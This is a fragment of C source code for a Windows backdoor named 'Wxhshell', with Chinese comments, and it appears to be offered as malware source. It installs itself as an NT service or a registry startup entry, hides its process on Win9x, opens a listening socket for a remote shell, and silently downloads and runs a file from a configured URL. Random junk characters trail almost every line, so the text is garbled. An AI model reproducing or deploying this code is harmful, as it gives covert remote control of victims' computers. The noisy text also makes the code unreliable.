if (!NtQueryInformationProcess) return 0; sk !92mQ
v$c*3H.seM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MDn+K#p
if(!hProcess) return 0;
{* S8n09v
8Q&.S)hrN
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !T;*F%G9
XOgl>1O
CloseHandle(hProcess); ?w6zq|
8:^`rw4a0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zy\p,
if(hProcess==NULL) return 0; YoiM\gw
V#8]io
HMODULE hMod; ,4W|e!
char procName[255]; w#.Tp-AZ;\
unsigned long cbNeeded; \pI)tnu6'U
NX7(;02
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F[PIo7?K
W:D'k^u
CloseHandle(hProcess); .3WDtVE
pW ]+a0j
if(strstr(procName,"services")) return 1; // 以服务启动 P\<dy?nZ
jO
xH'1I
return 0; // 注册表启动 LDlj4>%pW^
} ~Wy&xs ZH
5sJi- ^
// 主模块 Pw:(X0@
int StartWxhshell(LPSTR lpCmdLine) Hik8u!#P
{ <[{Ty+
SOCKET wsl; {TT@Mkz_QC
BOOL val=TRUE; !u~h.DrvZ
int port=0; G8xM]'y
struct sockaddr_in door; sVP[7&vr~
lF-;h{
if(wscfg.ws_autoins) Install(); YT!QY@qw
{!5"Y(>X
port=atoi(lpCmdLine); XVwaX2=L
XQCu\\>;
if(port<=0) port=wscfg.ws_port; rl-r8?H}
K..L8#SC
WSADATA data; )o!y7MTl
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0{M=^96
]jo^P5\h>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bg.f';C
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XE8~R5
door.sin_family = AF_INET; L~e\uP
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2q}M1-^
door.sin_port = htons(port); _4qP0LCa
hKq <e%oVH
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W\09hZ6
closesocket(wsl); j" wX7
return 1; YrAaL"20
} T' O5>e
{
?p55o
if(listen(wsl,2) == INVALID_SOCKET) { !(\OT
closesocket(wsl); 'VA\dpa{J
return 1; ""`>v`\
} e*5TZ7.
Wxhshell(wsl); p x;X}Cd
WSACleanup(); A:Y]<jt
\+OP!`
return 0; \m @8$MK
b|U48j1A
} z9mmZqhK\
gs;3NW
// 以NT服务方式启动 z_fR?~$N2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,a_F[uK
{ &W/C2cpmR
DWORD status = 0; bA]/p%rZ8
DWORD specificError = 0xfffffff; :@LFNcWE
I"awvUP]a[
serviceStatus.dwServiceType = SERVICE_WIN32; TTjj.fq6
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *O')
{(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bni :B?#
serviceStatus.dwWin32ExitCode = 0; )@DT^#zR
serviceStatus.dwServiceSpecificExitCode = 0; aYQ!`mS::M
serviceStatus.dwCheckPoint = 0; v5"5UPi-
serviceStatus.dwWaitHint = 0; RB1c!h$u
[\N,ow,n
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1_vaSEov
if (hServiceStatusHandle==0) return; KobNi#O+
"B`yk/GM]
status = GetLastError(); e6s-;
if (status!=NO_ERROR) :nki6Rkowt
{ <p<jXwl
serviceStatus.dwCurrentState = SERVICE_STOPPED; }>:v
serviceStatus.dwCheckPoint = 0; _2{i}L
serviceStatus.dwWaitHint = 0; .S/W_R
serviceStatus.dwWin32ExitCode = status; ?_9cFo59:
serviceStatus.dwServiceSpecificExitCode = specificError; |
>xUgpQi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [~$Ji&Dd
return; $I(2}u?1+d
} #W<D~C[I _
]9z{
95
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;c73:'e
serviceStatus.dwCheckPoint = 0; f:L%th
serviceStatus.dwWaitHint = 0; uiq)?XUKv
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i|u3 Qt5
} .v[8ie
}vBk,ED
// 处理NT服务事件,比如:启动、停止 .Ajs0 T2
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^T\JFzV
{ Ikiv+Fq(
switch(fdwControl) k>#,1GbNZy
{ ,lm.~% }P*
case SERVICE_CONTROL_STOP: CFD& -tED&
serviceStatus.dwWin32ExitCode = 0; p1t9s
N,
serviceStatus.dwCurrentState = SERVICE_STOPPED; "El$Sat`
serviceStatus.dwCheckPoint = 0; 1fRYXqx
serviceStatus.dwWaitHint = 0; cad1eOT'
{ 8EZ"z
d`n/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >*%ySlZbs
} JBQ,rX_Hw
return; xy`aR< L
case SERVICE_CONTROL_PAUSE: C/dqCUX:
serviceStatus.dwCurrentState = SERVICE_PAUSED; lPm'>,}Y
break; _[h1SAJ
case SERVICE_CONTROL_CONTINUE: _QCspPT' c
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,vP9oY[n
break; G`E%uyjG$j
case SERVICE_CONTROL_INTERROGATE: *g&[?y`UC
break; ?bbu^;2*f
}; ?b, eZ+t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,c_[`q\
} 5}gcJjz
Bt|S!tEy
// 标准应用程序主函数 z<_{m4I;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EOhUr=5~
{ A" `62
h$|K vS
// 获取操作系统版本 xin<.)!E
OsIsNt=GetOsVer(); (A`/3Aq+
GetModuleFileName(NULL,ExeFile,MAX_PATH); M$A"<5
&s_O6cqgh
// 从命令行安装 `9b/Q
if(strpbrk(lpCmdLine,"iI")) Install(); k{Yj!C>
#
%,%s09tO
// 下载执行文件 C$ cX{hV
if(wscfg.ws_downexe) { S*rgYe!E
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W|~Lmdzj
WinExec(wscfg.ws_filenam,SW_HIDE); V_Kpb*3
} ,eD@)K_:
"_jczr$*
if(!OsIsNt) { 7)G- EAF
// 如果时win9x,隐藏进程并且设置为注册表启动 ~d_Z?Z
HideProc(); OtJYr1:y_
StartWxhshell(lpCmdLine); pgT{#[=>
} &!JX
else {6'5K
U*RH
if(StartFromService()) =3lUr<Ze
// 以服务方式启动 F>&Q5Kl R
StartServiceCtrlDispatcher(DispatchTable); Oa\!5Pw1
else Ac<V!v71
// 普通方式启动 ]hTYh^'e
StartWxhshell(lpCmdLine); X<ZIeZBn
)K>XLaG)
return 0; q5:-?|jXJ
}